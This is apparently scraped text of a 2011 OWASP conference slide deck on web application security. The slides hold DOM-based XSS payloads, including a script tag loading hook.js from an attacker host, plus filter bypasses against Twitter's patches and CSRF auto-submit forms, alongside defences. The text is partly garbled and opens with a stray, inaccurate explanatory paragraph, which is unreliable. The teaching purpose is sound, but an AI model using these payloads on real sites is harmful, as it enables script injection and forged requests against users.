This code is parsing the URL fragment identifier (everything after #!) and setting the window.location to that value, effectively redirecting the page. So if the URL was something like "https://twitter.com/#!/johnwilander#malicious_script", it would redirect to "https://twitter.com/malicious_script", executing the malicious script in the context of twitter.com
In this session, you’ll learn about the top 10 security risks in web applications, and, with demos, how REST backends and rich JavaScript applications map to these risks. Current and upcoming countermeasures include new HTTP headers, double submit cookies, and escaping input client-side to avoid DOM-based XSS. We’ll look at each of these, discuss the techniques you’ll want to add to your developer toolbox, and how to build reasonable security processes into an agile team environment.
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
This code is parsing the URL fragment identifier (everything after #!) and setting the window.location to that value, effectively redirecting the page. So if the URL was something like "https://twitter.com/#!/johnwilander#malicious_script", it would redirect to "https://twitter.com/malicious_script", executing the malicious script in the context of twitter.com
2. Frontend developer at
Svenska Handelsbanken
Researcher in application security
Co-leader OWASP Sweden
@johnwilander
johnwilander.com (music)
OWASP == The Open Web
Application Security Project
Cheat sheets, tools, code, guidelines
https://owasp.org
Wednesday, November 2, 2011
18. Cross-Site Scripting
Type 0, DOM-based
ng
i pti
Scr
Cros
s-Sit
e
Ph
isin
g
Wednesday, November 2, 2011
19. Cross-Site Scripting
Type 0, DOM-based
ng
i pti
Scr
Cros
No server roundtrip!
s-Sit
e
Also, single-page interfaces
make injected scripts ”stick”
Ph
isi
in thenDOM.
g
Wednesday, November 2, 2011
21. https://secure.bank.com/
authentication#language=sv&country=SE
Never sent to server
Be careful when you use
this data on your page
Wednesday, November 2, 2011
22. Would you click this?
https://secure.bank.com/authentication
#language=<script src="http://attackr.se:
3000/hook.js"></script>&country=SE
Wednesday, November 2, 2011
23. Would you click this?
https://secure.bank.com/authentication
#language=%3Cscript%20src%3D%22http%3A%2F
%2Fattackr.se%3A3000%2Fhook.js%22%3E%3C
%2Fscript%3E&country=SE
Wednesday, November 2, 2011
24. Would you click this?
http://bit.ly/Yg4T32
Wednesday, November 2, 2011
25. Filter out <script>?
var ... ,
stripScriptsRe = /(?:<script.*?>)((n|r|.)*?)(?:</script>)/ig,
/**
* Strips all script tags
* @param {Object} value The text from which to strip script tags
* @return {String} The stripped text
*/
stripScripts : function(v) {
return !v ? v : String(v).replace(stripScriptsRe, "");
},
http://docs.sencha.com/ext-js/4-0/#!/api/Ext.util.Format-method-stripScripts
Wednesday, November 2, 2011
27. ”C’mon, such attacks
don’t really work,
do they?”
Yep, demo.
Wednesday, November 2, 2011
28. DOM-Based XSS
Twitter September 2010
Full story at
http://blog.mindedsecurity.com/2010/09/twitter-domxss-wrong-fix-and-something.html
Wednesday, November 2, 2011
29. (function(g){
var a = location.href.split("#!")[1];
if(a) {
g.location = a;
}
})(window);
Wednesday, November 2, 2011
30. (function(g){
What does this code do?
var a = location.href.split("#!")[1];
if(a) {
g.location = a;
}
})(window);
Wednesday, November 2, 2011
31. ”https://twitter.com/#!/
johnwilander”.split(”#!”)[1]
returns
”/johnwilander”
(function(g){
var a = location.href.split("#!")[1];
if(a) {
g.location = a;
}
})(window);
Wednesday, November 2, 2011
32. ”https://twitter.com/#!/
johnwilander”.split(”#!”)[1]
returns
”/johnwilander”
(function(g){
window.location =
var a = location.href.split("#!")[1];
”/johnwilander”
if(a) { ’/’ => keeps the domain but
initial
g.location = a;
changes the path
}
})(window);
Wednesday, November 2, 2011
33. ”https://twitter.com/#!/
johnwilander”.split(”#!”)[1]
returns
”/johnwilander”
(function(g){
window.location =
var a = location.href.split("#!")[1];
”/johnwilander”
if(a) { ’/’ => keeps the domain but
initial
g.location = a;
changes the path
}
So
})(window);
twitter.com/#!/johnwilander
becomes
twitter.com/johnwilander
Read more: http://kotowicz.net/absolute/
Wednesday, November 2, 2011
34. http://twitter.com/
#!javascript:alert(document.domain);
Wednesday, November 2, 2011
35. http://twitter.com/
#!javascript:alert(document.domain);
Never sent to server
=> DOM-based XSS
Wednesday, November 2, 2011
36. The Patch™
var c = location.href.split("#!")[1];
if (c) {
window.location = c.replace(":", "");
} else {
return true;
}
Wednesday, November 2, 2011
37. The Patch™
var c = location.href.split("#!")[1];
if (c) {
window.location = c.replace(":", "");
} else {
return true;
}
Replaces the first occurance
of the search string
Wednesday, November 2, 2011
38. http://twitter.com/
#!javascript::alert(document.domain);
Wednesday, November 2, 2011
39. http://twitter.com/
#!javascript::alert(document.domain);
Wednesday, November 2, 2011
40. The 2nd Patch™
(function(g){
var a = location.href.split("#!")[1];
if(a) {
g.location = a.replace(/:/gi,"");
}
})(window);
Wednesday, November 2, 2011
41. (function(g){
var a = location.href.split("#!")[1];
if(a) {
g.location = a.replace(/:/gi,"");
}
})(window); Regexp pattern
delimiters
Wednesday, November 2, 2011
42. (function(g){
var a = location.href.split("#!")[1];
if(a) {
g.location = a.replace(/:/gi,"");
}
})(window); Regexp pattern
delimiters
Global match
Wednesday, November 2, 2011
43. (function(g){
var a = location.href.split("#!")[1];
if(a) {
g.location = a.replace(/:/gi,"");
}
})(window); Regexp pattern
delimiters
Global match Ignore case
Wednesday, November 2, 2011
45. http://twitter.com
#!javascript&x58;alert(1)
Wednesday, November 2, 2011
46. http://twitter.com
#!javascript&x58;alert(1)
HTML entity version of ’:’
Wednesday, November 2, 2011
47. The n:th Patch™
(this one works)
(function(g){
var a = location.href.split("#!")[1];
if(a) {
g.location.pathname = a;
}
})(window);
And hey, Twitter is doing the right thing: https://twitter.com/about/security
Wednesday, November 2, 2011
48. Fix these issues properly with ...
Client-Side Encoding
Wednesday, November 2, 2011
49. https://github.com/chrisisbeef/jquery-encoder
• $.encoder.canonicalize()
Throws Error for double encoding or multiple encoding
types, otherwise transforms %3CB%3E to <b>
• $.encoder.encodeForCSS()
Encodes for safe usage in style attribute and style()
• $.encoder.encodeForHTML()
Encodes for safe usage in innerHTML and html()
• $.encoder.encodeForHTMLAttribute()
Encodes for safe usage in HTML attributes
• $.encoder.encodeForJavaScript()
Encodes for safe usage in event handlers etc
• $.encoder.encodeForURL()
Encodes for safe usage in href etc
Wednesday, November 2, 2011
50. https://github.com/chrisisbeef/jquery-encoder
• $.encoder.canonicalize()
Throws Error for double encoding or multiple encoding
types, otherwise transforms %3CB%3E to <b>
• $.encoder.encodeForCSS()
Encodes for safe usage in style attribute and style()
• $.encoder.encodeForHTML()
Encodes for safe usage in innerHTML and html()
• $.encoder.encodeForHTMLAttribute()
Encodes for safe usage in HTML attributes
• $.encoder.encodeForJavaScript()
Encodes for safe usage in event handlers etc
• $.encoder.encodeForURL()
Encodes for safe usage in href etc
Wednesday, November 2, 2011
51. Let’s do a short demo
of that
Wednesday, November 2, 2011
52. Also, check out ...
Content Security Policy
http://people.mozilla.com/~bsterne/
content-security-policy/
Wednesday, November 2, 2011
53. New HTTP Response
Header Saying ...
Only allow scripts from whitelisted domains
and
only allow scripts from files, i.e. no inline scripts
Wednesday, November 2, 2011
54. 'self' = same URL, protocol and port
X-Content-Security-Policy: default-src 'self'
Accept all content including scripts only from my own URL+port
X-Content-Security-Policy: default-src *;
script-src trustedscripts.foo.com
Accept media only from my URL+port (images, stylesheets,
fonts, ...) and scripts only from trustedscripts.foo.com
Wednesday, November 2, 2011
55. CSRF
my current favorite!
Wednesday, November 2, 2011
56. Cross-Site Request
Forgery
Request For
gery
Cro
ss-S
ite
Wednesday, November 2, 2011
57. Cross-Site Request
Forgery
Request Forgery
Cros
s-Site
Ph
isin
g
Wednesday, November 2, 2011
58. Is www.attackr.se allowed to
load images like this:
<img src=”https://secure.bank.com/
logo.png" />
?
Wednesday, November 2, 2011
59. Is www.attackr.se allowed to
load images like this:
<img src=”https://secure.bank.com/
authentication#language=sv&country=SE" />
?
Wednesday, November 2, 2011
60. With image tags www.attackr.se can silently
send HTTP GET requests to any domain
<img src=”https://secure.bank.com/
authentication#language=sv&country=SE"
height=0 width=0 />
Wednesday, November 2, 2011
62. What’s on your mind? What’s on your mind?
POST POST
Wednesday, November 2, 2011
63. What’s on your mind? What’s on your mind?
I love OWASP! POST POST
Wednesday, November 2, 2011
64. What’s on your mind? What’s on your mind?
I love OWASP! POST POST
John: I love OWASP!
Wednesday, November 2, 2011
65. What’s on your mind? What’s on your mind?
POST POST
Wednesday, November 2, 2011
66. What’s on your mind? What’s on your mind?
POST I hate OWASP! POST
Wednesday, November 2, 2011
67. What’s on your mind? What’s on your mind?
POST I hate OWASP! POST
Wednesday, November 2, 2011
68. What’s on your mind? What’s on your mind?
POST I hate OWASP! POST
John: I hate OWASP!
Wednesday, November 2, 2011
69. What’s on your mind? What’s on your mind?
POST <form id="target" method="POST"
action="https://1-liner.org/form">
John: I hate OWASP! <input type="text" value="I hate
OWASP!" name="oneLiner"/>
<input type="submit"
value="POST"/>
</form>
<script type="text/javascript">
$(document).ready(function() {
$('#form').submit();
});
</script>
Wednesday, November 2, 2011
70. <form id="target" method="POST"
action="https://1-liner.org/form">
<input type="text" value="I hate
OWASP!" name="oneLiner"/>
<input type="submit"
What’s on your mind? What’s on your mind?
value="POST"/>
POST
</form>
John: I hate OWASP!
<script>
$(document).ready(function() {
$('#target').submit();
});
</script>
Wednesday, November 2, 2011
71. There used to be a
protection in web 1.5
Wednesday, November 2, 2011
72. Forced Browsing
wizard-style
Shipment info ✉ Payment info $
Next Buy!
Wednesday, November 2, 2011
73. Forced Browsing
wizard-style
Shipment info ✉ Payment info $
Token
Next Buy!
Wednesday, November 2, 2011
75. Forced Browsing
wizard-style
Token 1 Token 2 Token 3
State built up i steps, server roundtrip in-between
Wednesday, November 2, 2011
76. Forced Browsing
wizard-style
Token 1 Token 2 Token 3
ge
for
n’t to
uld est
Co qu
re t step
las out a
w tith oken
va lid
Wednesday, November 2, 2011
89. <form id="target" method="POST"
action="https://vulnerable.1-liner.org:
8444/ws/oneliners"
style="visibility:hidden"
enctype="text/plain">
Forms produce a request body that
<input type="text" like this:
looks
name=””
value="" /> theName=theValue
... and that’s not valid JSON.
<input type="submit" value="Go" />
</form>
Wednesday, November 2, 2011
91. <form id="target" method="POST"
action="https://vulnerable.1-liner.org:
8444/ws/oneliners"
style="visibility:hidden"
Produces a request body that looks
enctype="text/plain">
like this:
<input type="text"
{"id": 0, "nickName":
name='{"id": 0, "nickName": "John",
"John","oneLiner": "I
"oneLiner": "I hate OWASP!",
hate OWASP!","timestamp":
"timestamp": "20111006"}//'
"20111006"}//=dummy
value="dummy" />
... and that is acceptable JSON!
<input type="submit" value="Go" />
</form>
Wednesday, November 2, 2011
92. Demo POST CSRF
against REST service
Wednesday, November 2, 2011
93. Demo XSS + CSRF with
The Browser Exploitation Framework
http://beefproject.com/
Wednesday, November 2, 2011
94. Important in your
REST API
• Restrict HTTP method, e.g. POST
Easier to do CSRF with GET
• Restrict to AJAX if applicable
X-Requested-With:XMLHttpRequest
Cross-domain AJAX prohibited by default
• Restrict media type(s), e.g. application/json
HTML forms only allow URL encoded, multi-part
and text/plain
Wednesday, November 2, 2011
95. Attacker may spoof
headers via Flash proxy
http://lists.webappsec.org/pipermail/
websecurity_lists.webappsec.org/2011-
February/007533.html
Wednesday, November 2, 2011
97. Double Submit
(CSRF protection)
Anti-CSRF value
as cookie ...
... and
request parameter
Wednesday, November 2, 2011
98. Double Submit
(CSRF protection)
cookie ≠
request parameter
Cannot read the
anti-CSRF cookie to
include it as parameter
Wednesday, November 2, 2011
99. Double Submit
(CSRF protection)
Anti-CSRF cookie can
be generated client-side
=> no server-side state
Wednesday, November 2, 2011
100. How To Get It Right
• Join your local OWASP chapter
https://www.owasp.org/index.php/OWASP_Chapter
• Start following these fellas on Twitter:
@WisecWisec @0x6D6172696F @garethheyes
@internot_ @securityninja @jeremiahg
@kkotowicz @webtonull @manicode @_mwc
• Start hacking – it’s fun!
Best place to start? Your own apps of course.
Just stay legal ;)
Wednesday, November 2, 2011
101. @johnwilander
john.wilander@owasp.org
http://appsandsecurity.blogspot.com
Wednesday, November 2, 2011
110. Moxie’s SSL Strip
http https
Secure cookie? Strip secure attribute off all cookies
Encoding, gzip? Strip off all request encodings
Cached content? Strip off all if-modified-since in request
Ongoing sessions? 302 back to same page, set-cookie expired
Wednesday, November 2, 2011
111. SSL Strip & Tor
login.yahoo.com 114
Gmail 50
Tor node
Hotmail 13
PayPal 9
Tor node
In 24 h
Tor exit node with SSL Strip
e Wednesday, November 2, 2011
112. HTTP Strict Transport
Security
http://tools.ietf.org/html/draft-
ietf-websec-strict-transport-sec-02
Wednesday, November 2, 2011
113. Require SSL without warnings for X seconds ahead
and
potentially do the same for my subdomains too
Wednesday, November 2, 2011